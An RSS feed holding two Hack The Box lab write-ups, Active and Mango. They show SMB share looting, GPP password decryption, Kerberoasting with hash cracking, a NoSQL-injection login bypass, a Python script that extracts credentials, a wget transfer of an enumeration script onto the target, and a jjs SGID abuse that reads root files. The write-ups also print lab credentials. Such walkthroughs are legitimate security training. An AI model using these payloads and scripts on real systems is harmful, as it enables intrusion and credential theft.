<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdullah Alshubaili on Medium]]></title>
        <description><![CDATA[Stories by Abdullah Alshubaili on Medium]]></description>
        <link>https://medium.com/@AbdullahAlshubaili?source=rss-913fb697a909------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FK8An9-DMTNU1KyH9KA3eA.png</url>
            <title>Stories by Abdullah Alshubaili on Medium</title>
            <link>https://medium.com/@AbdullahAlshubaili?source=rss-913fb697a909------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 20 May 2026 12:53:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@AbdullahAlshubaili/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Writeup: Hack The Box — Active Machine]]></title>
            <link>https://medium.com/@AbdullahAlshubaili/writeup-hack-the-box-active-machine-d58545e1334?source=rss-913fb697a909------2</link>
            <guid isPermaLink="false">https://medium.com/p/d58545e1334</guid>
            <dc:creator><![CDATA[Abdullah Alshubaili]]></dc:creator>
            <pubDate>Fri, 06 Aug 2021 19:51:43 GMT</pubDate>
            <atom:updated>2021-08-06T19:51:43.053Z</atom:updated>
            <content:encoded><![CDATA[<h3>Writeup: Hack The Box — Active Machine</h3><p>Cryptography &amp; Microsoft Active Directory.</p><p>Active machine is considered easy but very entertaining box. The tricks and techniques used this time involve some <strong>Cryptography</strong> and <strong>Microsoft Active Directory</strong>, hence the name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3hnNfbmv0IStH8ZG.png" /></figure><h3>Nmap</h3><p>As usual, start off with nmap -A 10.10.10.100</p><pre># Nmap 7.91 scan initiated Thu Jul 22 20:29:07 2021 as: nmap -A -oN nmap-A 10.10.10.100<br>Nmap scan report for 10.10.10.100<br>Host is up (0.13s latency).<br>Not shown: 983 closed ports<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)<br>| dns-nsid: <br>|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-07-22 17:34:21Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)<br>49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br><br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows<br><br>Host script results:<br>|_clock-skew: 4m27s<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2021-07-22T17:35:20<br>|_  start_date: 2021-07-22T16:59:16<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Thu Jul 22 20:31:02 2021 -- 1 IP address (1 host up) scanned in 114.43 seconds</pre><h3>Enumeration</h3><p>Port SMB is open. Let’s take a look at it, using smbclient.</p><pre>$ smbclient -L 10.10.10.100<br>Enter WORKGROUP\GUEST&#39;s password: <br>Anonymous login successful<br><br>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        ADMIN$          Disk      Remote Admin<br>        C$              Disk      Default share<br>        IPC$            IPC       Remote IPC<br>        NETLOGON        Disk      Logon server share <br>        Replication     Disk      <br>        SYSVOL          Disk      Logon server share <br>        Users           Disk      <br>SMB1 disabled -- no workgroup available</pre><p>(when prompt for pass, just press enter)</p><p>After enumerating each folder, the interesting stuff were found in ‘Replication’</p><p>Let’s download the whole folder to make our search easier.</p><pre>smbclient &#39;//10.10.10.100/Replication&#39; -c &#39;prompt OFF;recurse ON;cd active.htb;mget *&#39;</pre><p>Now searching in the downloaded folder for hot stuff using grep.</p><pre>$ grep -rn active.htb -e &#39;password\|user&#39;<br>active.htb/Policies/<strong>{</strong>31B2F340-016D-11D2-945F-00C04FB984F9<strong>}</strong>/MACHINE/Preferences/Groups/Groups.xml:2:&lt;Groups clsid<strong>=</strong>&quot;{3125E937-EB16-4b4c-9934-544FC6D24D26}&quot;<strong>&gt;</strong>&lt;User clsid<strong>=</strong>&quot;{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}&quot; name<strong>=</strong>&quot;active.htb\SVC_TGS&quot; image<strong>=</strong>&quot;2&quot; changed<strong>=</strong>&quot;2018-07-18 20:46:06&quot; uid<strong>=</strong>&quot;{EF57DA28-5F69-4530-A59E-AAB58578219D}&quot;<strong>&gt;</strong>&lt;Properties action<strong>=</strong>&quot;U&quot; newName<strong>=</strong>&quot;&quot; fullName<strong>=</strong>&quot;&quot; description<strong>=</strong>&quot;&quot; cpassword<strong>=</strong>&quot;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&quot; changeLogon<strong>=</strong>&quot;0&quot; noChange<strong>=</strong>&quot;1&quot; neverExpires<strong>=</strong>&quot;1&quot; acctDisabled<strong>=</strong>&quot;0&quot; userName<strong>=</strong>&quot;active.htb\SVC_TGS&quot;/&gt;&lt;/User&gt;<br>grep: and: No such file or directory<br>grep: user: No such file or directoryv</pre><p>Nice, we found some encrypted password with cleartext username ‘SVC_TGS’ and it is using Group Policy Preferences (GPP). The path ‘Policies/***/Preferences/Groups/Groups.xml’ tells us that GPP is in use.</p><p>Good thing is that GPP has a critical security flaw. It stores credentials insecurely. Here is a link to vulnerability <a href="https://support.microsoft.com/en-us/topic/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13-2014-60734e15-af79-26ca-ea53-8cd617073c30">MS14–025</a> .</p><h3>Cryptography &amp; User Own</h3><p>Since the GPP is infected with MS14–025, it means that we can easily decrypt the cipher using gpp-decrypt tool in kali linux.</p><p>Neat, we got a password.</p><p>Now let’s repeat the smbclient attack again with credential this time.</p><pre>smbclient &#39;//10.10.10.100/NETLOGON&#39; -U &quot;SVC_TGS&quot; -c &#39;prompt OFF;recurse ON;cd active.htb;mget *&#39;</pre><p>-U flag for username (when prompt for password entered: GPPstillStandingStrong2k18) After donwloading ‘Users’ folders, we found the user.txt flag under ‘Users\SVC_TGS\Desktop’</p><h3>Active Directory Enumeration</h3><p>This step require impacket package from python to penetrate further in AD.(if tool not installed run pip install impacket)</p><p>Using GetADUsers.py to list all existing users in AD.</p><pre>GetADUsers.py -all active.htb/svc_tgs -dc-ip 10.10.10.100 <br>...<br>...<br>Password:<br><strong>[</strong>*<strong>]</strong> Querying 10.10.10.100 for information about domain.<br>Name                  Email                           PasswordLastSet      LastLogon           <br>--------------------  ------------------------------  -------------------  -------------------<br>Administrator                                         2018-07-18 19:06:40.351723  2021-01-21 16:07:03.723783 <br>Guest                                                 &lt;never&gt;              &lt;never&gt;             <br>krbtgt                                                2018-07-18 18:50:36.972031  &lt;never&gt;             <br>SVC_TGS                                               2018-07-18 20:14:38.402764  2018-07-21 14:01:30.320277</pre><p>(enter password when prompt: GPPstillStandingStrong2k18) Now lets check if there is a Service Pricipal Name SPN running under SVC_TGS account.</p><pre>$ GetUserSPNs.py active.htb/svc_tgs -dc-ip 10.10.10.100<br><br>ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation <br>--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------<br>active/CIFS:445       Administrator  CN<strong>=</strong>Group Policy Creator Owners,CN<strong>=</strong>Users,DC<strong>=</strong>active,DC<strong>=</strong>htb  2018-07-18 19:06:40.351723  2021-01-21 16:07:03.723783</pre><p>Nice, Since the service account ‘SVC_TGS’ is running by administrator, we can request a Ticket Granting Service (TGS) and attempt to decrypt it.</p><pre>$ GetUserSPNs.py -request active.htb/svc_tgs -dc-ip 10.10.10.100<br><br><br>$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$c3eedcf601434a82ec2a2127f0443e15$bbec4fab6535c331745fbc6442a428baa571d859aec3cce6f4ae1de127201b5a92854ae7a3ad8b5c228e8fa49f41f26d5fdbc0110a87b3ee486be86de4c1bd74c2f02d06a7f68799a6be79b4164ab90f4478a0032a2d6ddd23520999cee9c1461a64cffb4c70a29d3240637a426f4e2e23badaacffcfc0a3659628cff6129b5c8026b03404059c5f7d6a4d65c769aa6f98f4597b79a4e28fd78a520d8622d55307318fec49cf0dc372579b809a17af52cc03f0ec86bbec96ec1cbcddb2f41acac92095e80153cfc1cf14777d385af9af95cf4ffd29f07ca9286765fae92fa60152cc5c4ba4cd85fbe6be0d440cb96c3c521a926e7e2949a6ede318e6150f5943f8df2f35091b27d5940f81ae5791bbb871fac35f4b1e4d0b8126870095f1e5007a3e5fa2d044a437e7b7e1ff5eccbc5dc01db06fa5526787ef10232bf090dfaa4a35afb6ae8e148ee4295a4bc21407fd681f2a61780235fcaa67d5c7f7d24d77ddb926d5425614c3d32227f6d8e5aa9a3dff1b95b9bdbb80a401d55ed3609cb4d3f67231c769527c566c94a92f587315765b61ff6febf61a72c55d2f70daef4bf004ff51ee118d619131515bd726f544bd886a30b8e3ad7ee97b25a28dfe64afd847be1375d9df92e5a71ff741148b47b2d3920d0cb4b6dd1850f629f071203fa8239f76d52194aa202c8d8151368cacae741a2fd6e58e49320491f0dc3fc6467c848f1ca5f5b460e0ad2e74bced9eb93d56828312ddca568ab949ecbe847326fc059d6854c3680caef798a12306cae22869d0ef74510603862108e90e51561f5a24c47160f5fb60bb618dcf53458ab1fd36f9c43b1b8db6a9c778e2f14648be31d38c0ff6632c9cb7f7df9d3972eb6d62cb8aa21094071b0e2d637a9365e3939eea7ea80fbef3b7cf2925eef18cf1e573c3915bc85452747b8bdb810f7d78fcfdb89ed33b399e0164060fda25428d0e283f3cbc9c6f112998932588403649a9939d4649add6077de3b11351dfa8cde64562de1d6d13258e3725b126a8b8d91166e9922cec43a676e33cc03b11666eadac22c0050f349ad2ca4cc93e6c748b92e914c644a2081d0df1c188fcfe58d22432aa75de2bbe419d81b1c014b570fdbe2c14b8c5765601adcbcfe0fe84455a5ac74b41a5be46eda91a4139b6d571e50af04813c4463bba0c6726c10670640360c43293c4c5aa02b267e0ca3b9fc29c1a9f40e98e957d63acbb04bb8d6df9e875e3ae9adb6975d608c19e</pre><p>Now let save the output to a file and decrypt it using hashcat with rockyou.txt dictionary.</p><pre>hashcat -m 13100 hash ~/wordlists/rockyou.txt</pre><p>the price is: Ticketmaster1968</p><h3>Post Exploitation &amp; Root Own</h3><p>Using smbclient to grab the flag with newly found credentials for admin.</p><pre>$ smbclient &#39;//10.10.10.100/Users/&#39; -U &#39;administrator&#39;<br>Enter WORKGROUP\administrator&#39;s password: <br>(enter: Ticketmaster1968)<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; cd Administrator/Desktop/<br>smb: \Administrator\Desktop\&gt; get root.txt<br>getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)<br>smb: \Administrator\Desktop\&gt; exit<br>$ cat root.txt <br>b5fc76d1d6b91d77b***************</pre><p>Thanks for reading.</p><p><em>Originally published at </em><a href="https://abdullahalshubaili.github.io/hack%20the%20box/2021/07/23/HTB-Active.html"><em>https://abdullahalshubaili.github.io</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d58545e1334" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack the Box — Mango Machine]]></title>
            <link>https://medium.com/@AbdullahAlshubaili/hack-the-box-mango-machine-f862ef23ac79?source=rss-913fb697a909------2</link>
            <guid isPermaLink="false">https://medium.com/p/f862ef23ac79</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Abdullah Alshubaili]]></dc:creator>
            <pubDate>Sat, 17 Jul 2021 22:08:56 GMT</pubDate>
            <atom:updated>2021-07-24T03:30:37.863Z</atom:updated>
            <content:encoded><![CDATA[<h3>Writeup: Hack the Box — Mango Machine</h3><p>“Hack The Box” is an online cybersecurity platform that has a massive number of different trainings and labs. I personally enjoy playing on the machines part of the lab.</p><h3>Brief Summary</h3><p>This is my first writeup on Medium and it’s going to be about HackTheBox: Mango machine. The box is retired now which means we can talk about it publicly. I personally enjoyed playing mango machine, I learned new stuff and had fun.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dhBLJjpggm3Z3PhG.png" /></figure><h3>Nmap</h3><p>Starting off, with <strong>nmap</strong> to get an idea about the machine and the services running. nmap 10.10.10.162 -A will provide us with os detection and version of the running services if applicable.</p><pre>Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-27 20:40 +03 Nmap scan report for 10.10.10.162 Host is up (0.096s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA) | 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA) |_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: 403 Forbidden 443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Mango | Search Base | ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN | Not valid before: 2019-09-27T14:21:19 |_Not valid after: 2020-09-26T14:21:19 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.15 seconds</pre><p>From the output of <strong>nmap</strong>, it is observable that a web application running on port 80/443 and has a certificate with a domain name registered as <strong>staging-order.mango.htb</strong></p><h3>Enumeration</h3><p>When visit port <strong>80, </strong>a ‘Forbidden’ message response was received from server. Visiting port <strong>443</strong> instead, the page didn&#39;t load completely, the browser sent a notification for connection not secured, which is weird. So i looked to into the certificate and found this domain <strong>staging-order.mango.htb</strong> mango that got caught previously with <strong>nmap</strong>. Accepted the risk and continued. The page loaded completely:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/0*IfX65JwxnQikTMJv.png" /></figure><p>The search engine doesn’t work yet. and ‘Analytics’ was a rabbit hole, believe me.</p><p>Start <strong>Burp Suite</strong>, and intercept the traffic. First thing will do, is to add the hostname resolution rule in burp -&gt; project options -&gt; connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uvBnIQI1vpzyplQe.png" /></figure><p>This time visit the new domain…</p><p>Found a login page. interesting…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*huvMvq3GmdedFHGs.png" /></figure><p>lots of mangos apparently. the machine name and these pictures. Let’s fuzz the login page little bit with different sql injection techniques. We should also include NoSql. Since you know, MongoDB is one of popular Databases and the box name is some how rhyme with it.</p><h3>NoSql Injection &amp; More Enumeration</h3><p>Let’s capture the login request with <strong>Burp Suite</strong>, and send it to the <strong>repeater</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JgWfUaYBFLDKTk8x.png" /></figure><p>After trying many things, and looking online for useful articles about slqi on MongoDB. <a href="https://nullsweep.com/a-nosql-injection-primer-with-mongo">Found this article</a>.</p><p>And The way to inject the parameters will be like</p><p>Original POST data:</p><pre>username=admin&amp;password=&amp;login=login</pre><p>Injected with NoSql attack:</p><pre>username[$ne]=admin&amp;password[$ne]=&amp;login=login</pre><p>By using [$ne] we specify that stored data in the DB should not be equal to our input. here we have a redirection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X9DPr21PIwE93BDs.png" /></figure><p>Following that a successful login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2t5JFKvHv87YAuuo.png" /><figcaption>capture</figcaption></figure><p>It looks like the page is not completed yet and it has username/email admin@mango.htb . Anyway lets enumerate more usernames. By using [$regex] we tell the server to use &#39;Regular Expressing&#39; for our input and search for it in the database.</p><p>Enumerating the login page with username[$regex]=^a&amp;password[$ne]=&amp;login=login as POST data that gets send to the server with payload of <strong>^</strong> to specify the search for the first letter only, and a because it is the beginning of &#39;admin&#39; account.</p><p>and it looks like we have a successful login too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8YeQ1V7CQ8Ic2XSq.png" /></figure><p>Trying ‘ <strong>d</strong> ‘ .</p><p>the response status code was not 302 (redirection). Meaning that there is no account name that starts with ‘d’ in our case. We can enumrate letter by letter or we can automate this with python.</p><p>Here a python script that will enumerate usernames.</p><p>Note: i routed the script traffic to Burp Suite through <strong>localhost</strong> port <strong>8080</strong> for debugging purposes. If you are not using burp please remove the lines from 6–14</p><pre>  1  <em># python3 nosql-enum.py<br></em>  2  import requests<br>  3  import re<br>  4  import os<br>  5  <br>  6  <em>#=================================================<br></em>  7  <em># to send this script traffic through Burp Suite<br></em>  8  proxy <strong>=</strong> &#39;http://localhost:8080&#39;<br>  9  <br> 10  os.environ[&#39;http_proxy&#39;] <strong>=</strong> proxy<br> 11  os.environ[&#39;HTTP_PROXY&#39;] <strong>=</strong> proxy<br> 12  os.environ[&#39;https_proxy&#39;] <strong>=</strong> proxy<br> 13  os.environ[&#39;HTTPS_PROXY&#39;] <strong>=</strong> proxy<br> 14  <em># =================================================<br></em> 15  <br> 16  url <strong>=</strong> &#39;http://staging-order.mango.htb&#39;<br> 17  cookies <strong>=</strong> &#39;PHPSESSID=&#39;<br> 18  <br> 19  chars <strong>=</strong> range(33, 127)<br> 20  <br> 21  p1 <strong>=</strong> &#39;&#39;<br> 22  <br> 23  <br> 24  def rqst(p1):<br> 25      data1 <strong>=</strong> &quot;username[$regex]=^&quot;<strong>+</strong>p1<strong>+</strong>&quot;&amp;password[$ne]=&amp;login=login&quot;<br> 26      r <strong>=</strong> requests.post(url, data<strong>=</strong>data1, verify<strong>=</strong>False, allow_redirects<strong>=</strong>False,<br> 27            headers<strong>=</strong>{&#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded&#39;})<br> 28  <br> 29      if r.status_code <strong>==</strong> 302:<br> 30      P1 <strong>=</strong> p1<br> 31      print(&#39;\nfound so far: &#39; <strong>+</strong> p1)<br> 32  <br> 33      for i <strong>in</strong> chars:<br> 34          if chr(i) <strong>in</strong> [&#39;.&#39;,&#39;?&#39;,&#39;*&#39;,&#39;^&#39;,&#39;+&#39;,&#39;&amp;&#39;,&#39;|&#39;]: <br> 35          p1 <strong>=</strong> P1 <strong>+</strong>&#39;\\&#39;<strong>+</strong> chr(i) <em># to escape chars<br></em> 36          rqst(p1)<br> 37          else:<br> 38          p1 <strong>=</strong> P1 <strong>+</strong> chr(i)<br> 39          print(&#39;\r&#39;<strong>+</strong>p1, flush<strong>=</strong>False, end<strong>=</strong>&#39;&#39;)<br> 40          if len(p1) <strong>&gt;=</strong>4:<br> 41              x <strong>=</strong> re.search(&quot;.*\$\$$&quot;, p1) <em># exit condition if $ (end of line) was found will exit and print the string without $<br></em> 42              if x:<br> 43               print(&#39;\n\nthis is the string: &#39; <strong>+</strong> p1[:<strong>-</strong>2])<br> 44               exit()<br> 45  <br> 46          rqst(p1)<br> 47      return<br> 48  <br> 49  <br> 50 print(rqst(p1))</pre><p>Running with script python3 we get the following account name <strong>admin</strong> as expected</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qn-ve0uKlnlKlvxC.png" /></figure><p>Now tweak the script little bit to be able to find another username. First thing we should add , ‘ <strong>a</strong> ‘ in line 34 just like this</p><p>this way will skip letter ‘a’ so we can enumerate the first letter of the another target account. Note: if you suspect that there is another account that start with ‘a’ but not admin. you can escape letter ‘d’ instead of ‘a’ for enumeration.</p><p>running the script after tweaking it we get.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/0*I9zADBIafcZN6TwZ.png" /></figure><p>We see that ‘ <strong>m</strong>’ is the first letter. Now tweak the script another time. Will remove ‘ <strong>a</strong> ‘ from line # 34</p><p>Modify data1 variable and add <strong>&#39;m&#39;</strong> as a value for username= parameters.</p><p>Line # 25 should look like this</p><p>Result is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/0*6Il-jIuB-JuzkAxf.png" /></figure><p>Now we have two account names <strong>admin</strong> and <strong>mango</strong>. Now with extraction of passwords. Will tweak the script to fit our needs in this case. in line#25 we will modify data1 variable to the following:</p><p>By this modification we are injecting password parameter instead of username and we hardcoded the username to search for the associated password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/0*YL2qMhwf9iN7x1xw.png" /></figure><p>Checking out the result. And a successful login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/0*JjjN4BhJqV_fWhED.png" /></figure><p>Running the script with <strong>mango</strong> hardcoded as username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XBFhn4Z6BXEvi6_T.png" /></figure><h3>Initial Foothold &amp; User Own</h3><p>Try these creds to ssh in the box. ssh mango@10.10.10.162 and enter the password when prompt. Once we are in the box as mango, will look around for juicy stuff.</p><pre>mango@mango:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>sys:x:3:3:sys:/dev:/usr/sbin/nologin<br>sync:x:4:65534:sync:/bin:/bin/sync<br>games:x:5:60:games:/usr/games:/usr/sbin/nologin<br>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin<br>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin<br>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin<br>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin<br>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin<br>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin<br>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin<br>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin<br>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin<br>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin<br>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin<br>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin<br>systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin<br>systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin<br>syslog:x:102:106::/home/syslog:/usr/sbin/nologin<br>messagebus:x:103:107::/nonexistent:/usr/sbin/nologin<br>_apt:x:104:65534::/nonexistent:/usr/sbin/nologin<br>lxd:x:105:65534::/var/lib/lxd/:/bin/false<br>uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin<br>dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin<br>landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin<br>pollinate:x:109:1::/var/cache/pollinate:/bin/false<br>sshd:x:110:65534::/run/sshd:/usr/sbin/nologin<br>mango:x:1000:1000:mango:/home/mango:/bin/bash<br>admin:x:4000000000:1001:,,,:/home/admin/:/bin/sh<br>mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin</pre><p>Since there is <strong>*admin</strong> username in the box. lets try su - admin and the creds found earlier.</p><pre>mango@mango:~$ su - admin<br>      <br>Password: <br>      <br>$ whoami<br>      <br>admin<br>      <br>$</pre><p>Nice we got in with admin and it looks like admin have <strong>user.txt</strong> in home directory. Now we should run linux enumeration script such as <a href="https://github.com/rebootuser/LinEnum"><strong>LinEnum.sh</strong></a>, but we have to download it in our machine first, then move the script to mango box with following commands.</p><pre>wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh</pre><pre>python3 -m http.server 80</pre><p>In mango box we can use <strong>wget</strong> also to download it from our machine</p><pre>$ wget http://10.10.YOUR.IP/LinEnum.sh<br>$ chmod +x LinEnum.sh</pre><p>Run the script ./LinEnum.sh</p><h3>Privilege Escalation &amp; Root Own</h3><p>Looking at the output from <strong>LinEnum.sh</strong> we see that there is <strong>SGID</strong> (Set Group ID) binary named ‘ <strong>jjs</strong>’ looks vulnerable. Let me introduce you to a great webpage <a href="https://gtfobins.github.io/">GTFObin</a> that makes binary exploitation much easier. Search for jjs and you can see many methods of how to abuse SGID on <strong>jjs</strong>. Here is one way of doing that, will just read the root.txt from root home directory.</p><pre>echo &#39;var BufferedReader = Java.type(&quot;java.io.BufferedReader&quot;);<br>var FileReader = Java.type(&quot;java.io.FileReader&quot;);<br>var br = new BufferedReader(new FileReader(&quot;/root/root.txt&quot;));<br>while ((line = br.readLine()) != null) { print(line); }&#39; | jjs</pre><p>Run the above commands, and we should get <strong>root.txt</strong> printed out for us.</p><pre>$ echo &#39;var BufferedReader = Java.type(&quot;java.io.BufferedReader&quot;);<br>      <br>var FileReader = Java.type(&quot;java.io.FileReader&quot;);<br>      <br>var br = new BufferedReader(new FileReader(&quot;/root/root.txt&quot;));<br><br>while ((line = br.readLine()) != null) { print(line); }&#39; | jjs&gt; <strong>&gt;</strong> <strong>&gt;</strong> <br>      <br>Warning: The jjs tool is planned to be removed from a future JDK release<br><br>jjs&gt; var BufferedReader <strong>=</strong> Java.type<strong>(</strong>&quot;java.io.BufferedReader&quot;<strong>)</strong>;<br><br>jjs&gt; var FileReader <strong>=</strong> Java.type<strong>(</strong>&quot;java.io.FileReader&quot;<strong>)</strong>;<br>      <br>jjs&gt; var br <strong>=</strong> new BufferedReader<strong>(</strong>new FileReader<strong>(</strong>&quot;/root/root.txt&quot;<strong>))</strong>;<br><br>jjs&gt; while <strong>((</strong>line <strong>=</strong> br.readLine<strong>())</strong> <strong>!=</strong> null<strong>)</strong> <strong>{</strong> print<strong>(</strong>line<strong>)</strong>; <strong>}</strong><br><br>****************81688424e9ab15ab15</pre><p><em>Originally published at </em><a href="https://abdullahalshubaili.github.io/hack%20the%20box/2020/09/05/HTB-Mango.html"><em>https://abdullahalshubaili.github.io</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f862ef23ac79" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>